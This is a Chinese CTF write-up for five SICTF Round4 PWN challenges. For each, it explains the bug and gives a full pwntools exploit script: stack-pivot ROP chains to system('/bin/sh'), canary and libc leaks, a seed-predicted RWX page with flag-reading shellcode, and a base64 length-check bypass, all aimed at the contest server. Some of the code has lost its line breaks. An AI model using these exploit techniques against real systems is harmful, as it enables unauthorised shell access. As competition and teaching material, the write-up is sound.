[SICTF Round4] PWN

news/2024/12/30 1:42:41/

这PWN题似乎是给我出的,4个一血1个2血。密码又过于简单。逆向太难了又不大会。

Stack fengshui

main可以溢出覆盖rbp+ret所以它每一步都需要移栈。

可用的ROP里没有pop rdi,在4004c0里有错位的01 5d c3 :add DWORD PTR [rbp-0x3d], ebx 

并且有对应的ppp6和mov call可能打ret2csu

可以改的是一个被修改过的read,因为每次只能改4字节,所以需要改两次。

from pwn import *
context(arch='amd64', log_level='debug')elf = ELF('./pwn')
libc = ELF('./libc.so.6')add_dword_rbp_0x3d_ebx_ret = 0x4004d8 #01 5d c3 :add DWORD PTR [rbp-0x3d], ebx
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4006ca 
mov_call = 0x4006a6 #xor ebx,ebx;... call [r12+rbx*8]
pop_rbp = 0x40063e
leave_ret = 0x400669 
ret = 0x4006d4
bss = 0x601800def ret2csu(rdi=0, rsi=0, rdx=0, rbp=0xdeadbeef, addr=bss):return flat([pop_rbx_rbp_r12_r13_r14_r15_ret,0, 1, addr, rdi, rdx, 0, mov_call,0, 0, rbp, 0, 0, 0, 0,])def add(off, addr=bss):return flat([pop_rbx_rbp_r12_r13_r14_r15_ret,off, addr + 0x3d, 0, 0, 0, 0,add_dword_rbp_0x3d_ebx_ret,])p = remote('27.25.151.29', 32968)p.send(b'A'*0xa0+flat(bss, 0x40064b))p.send(flat([add((libc.sym['system']-libc.sym['read']-0xffff000000000000)&0xffffffff,0x606e40),pop_rbp, 0x601900, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss-0xa0-8, leave_ret))p.send(flat([add(((libc.sym['system']-libc.sym['read']-0xffff000000000000)>>32)+1,0x606e44),pop_rbp, 0x601800, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss+0x100-0xa0-8, leave_ret))p.send(flat([b'/bin/sh\0', ret, ret2csu(rdi=bss-0xa0, addr=0x606e40),pop_rbp, 0x601800, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss-0xa0, leave_ret))p.interactive()

signin

应该是这里边里简单的一个题。有3个菜单,

1是格式化字符串只可以输入4字节,所以可以泄露1-9的值,这里边只有3有价值是个libc地址(格式化串里6开始在栈里,1-5分别泄露rsi,rdx,rcx,r8,r9)

2可以覆盖到canary当输入长度为0x19里可以输出canary的值

3是个溢出,同样溢出很小需要移栈。

先用1,2得到canary和libc然后system

from pwn import *
context(arch='amd64', log_level='debug')elf = ELF('./pwn')
libc = ELF('./libc.so.6')p = remote('27.25.151.29', 33576)p.sendlineafter(b"Your choice: ", b'2')
p.sendafter(b"Note: ", b'A'*0x19)
p.recvuntil(b'A'*0x19)
canary = b'\0'+p.recv(7)
stack = u64(p.recv(6)+b'\0\0') - 0x20
print(f"{canary.hex() = } {stack = :x}")
p.sendlineafter(b"\nAgain?\n", b'-559038737')
p.sendafter(b"Note: ", b'A'*0x18+b'\0')p.sendlineafter(b"Your choice: ", b'1')
p.sendafter(b"Note: ", b'%3$p')
p.recvuntil(b"Note: ")
libc.address = int(p.recvuntil(b'1.', drop=True),16) - 0x114887
print(f"{libc.address = :x}")pop_rdi = libc.address + 0x00000000001bbea1 # pop rdi ; ret
leave_ret = libc.address + 0x000000000004da83 # leave ; ret
p.sendlineafter(b"Your choice: ", b'3')
p.sendafter(b"Note: ", flat(pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'],canary, stack-0x28, leave_ret))p.interactive()

SigninVM

程序用随机数生成4个块分别用于寄存器,栈,指令,并且指令会被设置成r-x,这里有一个RWX的没改,可以通过同步时间预测出地址。随机数使用3个字节,爆破量不大。

虚拟机命令格式:cmd,?,reg_idx1-3,add,value

虚拟机有几个命令,这里P(读入到寄存器),W(把寄存器值写入地址)把数据写入到可写可执行区再用V跳过去执行

shellcode由于限制只能用openat,read,write倒是也够了。

from pwn import *
from ctypes import *
context(arch='amd64', log_level='debug')clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")#p = process('./pwn2')
#gdb.attach(p, "b*0x5555555556b3\nc")
p = remote('27.25.151.29', 33207)p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
rsp = int(p.recv(10),16)
p.recvuntil(b': 0x')
rip = int(p.recv(10),16)
p.recvuntil(b': 0x')
bss = int(p.recv(10),16)
print(f"{rsp = :x} {rip = :x} {bss = :x}")def getv():v2 = clibc.rand() % 1131796v0 = clibc.rand()return ((v2 + (v2 ^ v0) + clibc.rand()) >> 4) << 12for i in range(0x1000000):clibc.srand(i)if rip == getv():print('bss =',hex(getv()))print('rsp =',hex(getv()))cmd = getv()print('cmd =', hex(cmd))breakshellcode = f'''
push 0x{(cmd>>12):x}; pop rsi;shl rsi,12;
push 0;pop rax;
push rax;pop rdi;
push 0x70;pop rdx;
syscall
'''
shellcode = f'''
xchg r8,rsi;
push rcx;pop rax;
push rax;pop rdi;
syscall
'''
#shellcode = asm(shellcode).ljust(24, b'\x90')shellcode = shellcraft.openat(0,'/flag')+shellcraft.read(0, cmd+0x200,0x50) + shellcraft.write(1,cmd+0x200,0x50)
shellcode = asm(shellcode)
print(shellcode, len(shellcode))#write payload to cmd
pay = b''
for i in range(0, len(shellcode), 8):pay+= b'P'+bytes([0,0,0,0]) + flat(0, shellcode[i:i+8])pay+= b'W'+bytes([0,0,0,0]) + flat(cmd+i, 0)pay+= b'P'+bytes([0,0,0,0]) + flat(0, cmd)
pay+= b'V'+bytes([0,0,0,0]) + flat(0, 0)
p.sendafter(b'Please provide your VM instructions:\n', pay)
#openat,read,writep.interactive()'''
0x0000007621ded000 0x0000007621dee000 0x0000000000000000 rw-   rsp
0x0000007e17a5d000 0x0000007e17a5e000 0x0000000000000000 rw-   bss
0x000000a339fef000 0x000000a339ff0000 0x0000000000000000 rwx   <--- 
0x000000cfe16e4000 0x000000cfe16e5000 0x0000000000000000 r--   ripline  CODE  JT   JF      K
=================================0000: 0x20 0x00 0x00 0x00000004  A = arch0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 00130002: 0x20 0x00 0x00 0x00000000  A = sys_number0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 00050004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 00130005: 0x15 0x06 0x00 0x00000000  if (A == read) goto 00120006: 0x15 0x05 0x00 0x00000001  if (A == write) goto 00120007: 0x15 0x04 0x00 0x00000008  if (A == lseek) goto 00120008: 0x15 0x03 0x00 0x0000000a  if (A == mprotect) goto 00120009: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 00120010: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 00120011: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 00130012: 0x06 0x00 0x00 0x7fff0000  return ALLOW0013: 0x06 0x00 0x00 0x00000000  return KILL
'''

T1d's computer v2.0

这个题在输入payload里会有长度检查。先把输入的东西用base64解码,但解码时会减去全=的块数,这样把ROP编码后加足够的=就能绕过长度检查。

出题人看来习惯于短溢出了,每次都得弄第2次。

from pwn import *
from ctypes import *
from time import time
from base64 import b64encodecontext(arch='amd64', log_level='debug')elf = ELF('./pwn')
libc = ELF('./libc.so.6')mov_rdi_rbp = 0x401602 
pop_rbp = 0x401607
ret = 0x401608clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
clibc.srand(int(time()))
x = clibc.rand()%256p = remote('27.25.151.29', 33311)p.sendlineafter(b"Please enter your username: ", b'A')print(f"{x = :x}")
pay = b'\0'*0x48 + flat(elf.got['puts'], mov_rdi_rbp, elf.plt['puts'], ret, elf.sym['login'])
l = len(pay)-60
pay = bytes([(i+x)&0xff for i in pay])
pay = b64encode(pay)
cod1 = "0123456789+/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ="
cod2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
pay = ''.join([cod1[cod2.index(i)] for i in pay.decode()])
pay += '===='*l p.sendlineafter(b"Please enter your password: ", pay.encode())libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")#####2############
p.sendlineafter(b"Please enter your username: ", b'A')print(f"{x = :x}")
pay = b'\0'*0x48 + flat(next(libc.search(b'/bin/sh\0')), mov_rdi_rbp, libc.sym['system'])
l = len(pay)-60
pay = bytes([(i+x)&0xff for i in pay])
pay = b64encode(pay)
cod1 = "0123456789+/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ="
cod2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
pay = ''.join([cod1[cod2.index(i)] for i in pay.decode()])
pay += '===='*l p.sendlineafter(b"Please enter your password: ", pay.encode())p.interactive()

T1d's computer v3.0

题目有4个菜单

1:login有溢出,但有栈保护需要先得到canary

2:fmt 会得到 elf.address^canary 得到canary后可以算出加载地址

3:uaf 好像没啥用

4:canary 输入密码正确后会给出canary。密码是通过/dev/random取得并且不为0,这里的漏洞在于当输入满16字节时会带所后边的i,通过i判断是否是否爆破成功。这里不通输入\n所以需要从密码中过滤掉。密码带\n的概率不大。

from pwn import *
import timecontext(arch='amd64', log_level='debug')elf = ELF('./pwn2')
libc = ELF('./libc.so.6')def login(msg=b"root\0"):p.sendlineafter(b"Choose an option: ", b'1')p.sendlineafter(b"Please enter your username: ", b"T1d\0")if len(msg)< 0x68:p.sendlineafter(b"Please enter your password: ", msg)else:p.sendafter(b"Please enter your password: ", msg)def fmt():p.sendlineafter(b"Choose an option: ", b'2')p.recvuntil(b"A gift for you: 0x")v = int(p.recvline(),16)print(hex(v))return vdef getcanary(c):p.sendlineafter(b"Choose an option: ", b'4')p.sendlineafter(b"Please input the number you guess: ", c)msg = p.recvline()return msgdef logout():p.sendlineafter(b"Choose an option: ", b'5')def uaf(msg):p.sendlineafter(b"Choose an option: ", b'3')p.sendlineafter(b"Choice: ", b'1')p.sendafter(b"Enter your note: ", msg)p.sendlineafter(b"Choice: ", b'3')def get2():code = [255]*8for i in range(7):for k in range(1,256):if k==10: continuecode[i]=kp.sendlineafter(b"Choose an option: ", b'4')p.sendafter(b"Please input the number you guess: \n", bytes(code)+b'.'*8)msg = p.recvline()if msg[-2:] == bytes([i+1])+b'\n':break for k in range(1,256):if k==10: continuecode[7]=kp.sendlineafter(b"Choose an option: ", b'4')p.sendafter(b"Please input the number you guess: \n", bytes(code)+b'.'*8)msg = p.recv(10)if b"I'll" in msg:p.recvuntil(b'0x')canary = int(p.recvline(),16)return canaryreturn Falsep = remote('27.25.151.29', 33804)login()
#当输入满16位时会带出i,通过i判断是否爆破成功
canary = get2()
print(f"{canary = :x}")
elf.address = (canary ^ fmt()) - 0x4060context.log_level = 'debug'
print(f"{canary = :x} {elf.address = :x}")mov_rdi = elf.address + 0x1d51 #mov rax,desc;mov rdi,rax;mov rdi,[rdi];retuaf(p64(elf.got['puts']))bss = elf.address+ 0x4800logout()
login(b'\0'*0x40 + flat(canary, bss, mov_rdi, elf.plt['puts'], elf.address + 0x1ab5))libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
leave_ret = elf.address + 0x1b47p.sendline(flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'],p64(0)*4,canary, bss-0x50 , leave_ret))
sleep(0.5)
p.sendline(b'cat flag')
p.interactive()


http://www.ppmy.cn/news/1544296.html

相关文章

Python网络爬虫入门指南

Python网络爬虫入门指南 网络爬虫&#xff08;Web Crawler&#xff09;是一种自动化程序&#xff0c;用于在互联网上抓取数据。Python 因其简洁的语法和丰富的第三方库&#xff0c;成为编写网络爬虫的首选语言之一。本文将介绍如何使用Python编写一个简单的网络爬虫&#xff…

硅谷甄选(三)登录注册

今天跑了步很舒服 一.登录模块 1.1登录路由静态组件 src\views\login\index.vue <template><div class"login_container"><el-row><el-col :span"12" :xs"0"></el-col><el-col :span"12" :xs&quo…

大模型中的token是什么;常见大语言模型的 token 情况

目录 大模型中的token是什么 常见大语言模型的 token 情况 大模型中的token是什么 定义 在大模型中,token 是文本处理的基本单位。它可以是一个字、一个词,或者是其他被模型定义的语言单元。简单来说,模型在理解和生成文本时,不是以完整的句子或段落为单位进行一次性处理…

《Apache Cordova/PhoneGap 使用技巧分享》

一、引言 在移动应用开发的领域中&#xff0c;Apache Cordova&#xff08;也被称为 PhoneGap&#xff09;是一个强大的工具&#xff0c;它允许开发者使用 HTML、CSS 和 JavaScript 等 Web 技术来构建跨平台的移动应用。这种方式不仅能够提高开发效率&#xff0c;还能降低开发成…

【算法笔记】位运算算法原理深度剖析

【算法笔记】位运算算法原理深度剖析 &#x1f525;个人主页&#xff1a;大白的编程日记 &#x1f525;专栏&#xff1a;算法笔记 文章目录 【算法笔记】位运算算法原理深度剖析前言一.位运算算法原理二.判断字符是否唯一2.1题目2.2思路分析2.3代码实现 三.丢失的数字3.1题目…

软中端,硬中断(学习笔记)

/proc/softirqs 提供了软中断的运行情况&#xff1b; /proc/interrupts 提供了硬中断的运行情况。 以下图片展示的是软中断内容&#xff1a; 在查看 /proc/softirqs 文件内容时&#xff0c;你要特别注意以下这两点。 第一&#xff0c;要注意软中断的类型&#xff0c;也就是这…

【jvm】堆的默认最大值和默认最小值的计算

目录 1. 说明2. 客户端JVM2.1 最大堆大小2.2 最小堆大小 3. 服务器JVM3.1 最大堆大小3.2 最小堆大小 4. 注意事项 1. 说明 1.JVM&#xff08;Java虚拟机&#xff09;堆的默认最大值和默认最小值的计算主要依赖于系统的物理内存大小以及JVM的类型&#xff08;客户端JVM或服务器…

考研资料分享系统的设计与实现(lw+演示+源码+运行)

摘 要 互联网发展至今&#xff0c;无论是其理论还是技术都已经成熟&#xff0c;而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播&#xff0c;搭配信息管理工具可以很好地为人们提供服务。针对高校教师成果信息管理混乱&#xff0c;出错率高&#xff0c;信息安全…